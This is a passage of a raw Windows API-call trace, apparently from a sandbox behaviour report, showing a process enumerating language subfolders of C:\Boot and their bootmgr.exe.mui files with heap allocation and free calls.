[0194.714] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6075c8 | out: hHeap=0x550000) returned 1 [0194.714] FindNextFileW (in: hFindFile=0x570fb8, lpFindFileData=0x2cef2a8 | out: lpFindFileData=0x2cef2a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x8bc7dbfe, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x76980, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe", cAlternateFileName="")) returned 1 [0194.714] FindNextFileW (in: hFindFile=0x570fb8, lpFindFileData=0x2cef2a8 | out: lpFindFileData=0x2cef2a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-NO", cAlternateFileName="")) returned 1 [0194.714] GetProcessHeap () returned 0x550000 [0194.714] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6075c8 [0194.714] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\nb-NO\\*", lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x570ff8 [0194.714] FindNextFileW (in: hFindFile=0x570ff8, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0194.715] FindNextFileW (in: hFindFile=0x570ff8, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea212efb, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15850, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0194.715] FindNextFileW (in: hFindFile=0x570ff8, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea212efb, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15850, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0194.715] FindClose (in: hFindFile=0x570ff8 | out: hFindFile=0x570ff8) returned 1 [0194.715] GetProcessHeap () returned 0x550000 [0194.715] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6075c8 | out: hHeap=0x550000) returned 1 [0194.715] FindNextFileW (in: hFindFile=0x570fb8, lpFindFileData=0x2cef2a8 | out: lpFindFileData=0x2cef2a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0194.715] GetProcessHeap () returned 0x550000 [0194.715] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6075c8 [0194.715] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\nl-NL\\*", lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x570ff8 [0194.715] FindNextFileW (in: hFindFile=0x570ff8, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0194.715] FindNextFileW (in: hFindFile=0x570ff8, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84c457e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0194.716] FindNextFileW (in: hFindFile=0x570ff8, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84c457e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0194.716] FindClose (in: hFindFile=0x570ff8 | out: hFindFile=0x570ff8) returned 1 [0194.716] GetProcessHeap () returned 0x550000 [0194.716] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6075c8 | out: hHeap=0x550000) returned 1 [0194.716] FindNextFileW (in: hFindFile=0x570fb8, lpFindFileData=0x2cef2a8 | out: lpFindFileData=0x2cef2a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0194.716] GetProcessHeap () returned 0x550000 [0194.716] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6075c8 [0194.716] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\pl-PL\\*", lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x570ff8 [0194.716] FindNextFileW (in: hFindFile=0x570ff8, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0194.716] FindNextFileW (in: hFindFile=0x570ff8, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e5ad4a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0194.716] FindNextFileW (in: hFindFile=0x570ff8, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e5ad4a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0194.717] FindClose (in: hFindFile=0x570ff8 | out: hFindFile=0x570ff8) returned 1 [0194.717] GetProcessHeap () returned 0x550000 [0194.717] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6075c8 | out: hHeap=0x550000) returned 1 [0194.717] FindNextFileW (in: hFindFile=0x570fb8, lpFindFileData=0x2cef2a8 | out: lpFindFileData=0x2cef2a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0194.717] GetProcessHeap () returned 0x550000 [0194.717] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6075c8 [0194.717] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\pt-BR\\*", lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x570ff8 [0194.717] FindNextFileW (in: hFindFile=0x570ff8, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0194.717] FindNextFileW (in: hFindFile=0x570ff8, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83b9c0f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16040, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0194.717] FindNextFileW (in: hFindFile=0x570ff8, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83b9c0f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16040, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0194.717] FindClose (in: hFindFile=0x570ff8 | out: hFindFile=0x570ff8) returned 1 [0194.718] GetProcessHeap () returned 0x550000 [0194.718] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6075c8 | out: hHeap=0x550000) returned 1 [0194.718] FindNextFileW (in: hFindFile=0x570fb8, lpFindFileData=0x2cef2a8 | out: lpFindFileData=0x2cef2a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0194.718] GetProcessHeap () returned 0x550000 [0194.718] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6075c8 [0194.718] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\pt-PT\\*", lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x570ff8 [0194.718] FindNextFileW (in: hFindFile=0x570ff8, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0194.718] FindNextFileW (in: hFindFile=0x570ff8, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe823ce95, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0194.718] FindNextFileW (in: hFindFile=0x570ff8, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe823ce95, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0194.718] FindClose (in: hFindFile=0x570ff8 | out: hFindFile=0x570ff8) returned 1 [0194.719] GetProcessHeap () returned 0x550000 [0194.719] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6075c8 | out: hHeap=0x550000) returned 1 [0194.719] FindNextFileW (in: hFindFile=0x570fb8, lpFindFileData=0x2cef2a8 | out: lpFindFileData=0x2cef2a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-RU", cAlternateFileName="")) returned 1 [0194.719] GetProcessHeap () returned 0x550000 [0194.719] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6075c8 [0194.719] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\ru-RU\\*", lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x570ff8 [0194.719] FindNextFileW (in: hFindFile=0x570ff8, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0194.719] FindNextFileW (in: hFindFile=0x570ff8, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0194.719] FindNextFileW (in: hFindFile=0x570ff8, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0194.719] FindClose (in: hFindFile=0x570ff8 | out: hFindFile=0x570ff8) returned 1 [0194.719] GetProcessHeap () returned 0x550000 [0194.719] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6075c8 | out: hHeap=0x550000) returned 1 [0194.719] FindNextFileW (in: hFindFile=0x570fb8, lpFindFileData=0x2cef2a8 | out: lpFindFileData=0x2cef2a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-SE", cAlternateFileName="")) returned 1 [0194.719] GetProcessHeap () returned 0x550000 [0194.719] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6075c8 [0194.719] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\sv-SE\\*", lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x570ff8 [0194.719] FindNextFileW (in: hFindFile=0x570ff8, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0194.719] FindNextFileW (in: hFindFile=0x570ff8, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0194.720] FindNextFileW (in: hFindFile=0x570ff8, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0194.720] FindClose (in: hFindFile=0x570ff8 | out: hFindFile=0x570ff8) returned 1 [0194.720] GetProcessHeap () returned 0x550000 [0194.720] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6075c8 | out: hHeap=0x550000) returned 1 [0194.720] FindNextFileW (in: hFindFile=0x570fb8, lpFindFileData=0x2cef2a8 | out: lpFindFileData=0x2cef2a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-TR", cAlternateFileName="")) returned 1 [0194.720] GetProcessHeap () returned 0x550000 [0194.720] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6075c8 [0194.720] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\tr-TR\\*", lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x570ff8 [0194.720] FindNextFileW (in: hFindFile=0x570ff8, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0194.720] FindNextFileW (in: hFindFile=0x570ff8, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8393ab6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0194.720] FindNextFileW (in: hFindFile=0x570ff8, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8393ab6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0194.720] FindClose (in: hFindFile=0x570ff8 | out: hFindFile=0x570ff8) returned 1 [0194.720] GetProcessHeap () returned 0x550000 [0194.720] HeapFree (in: 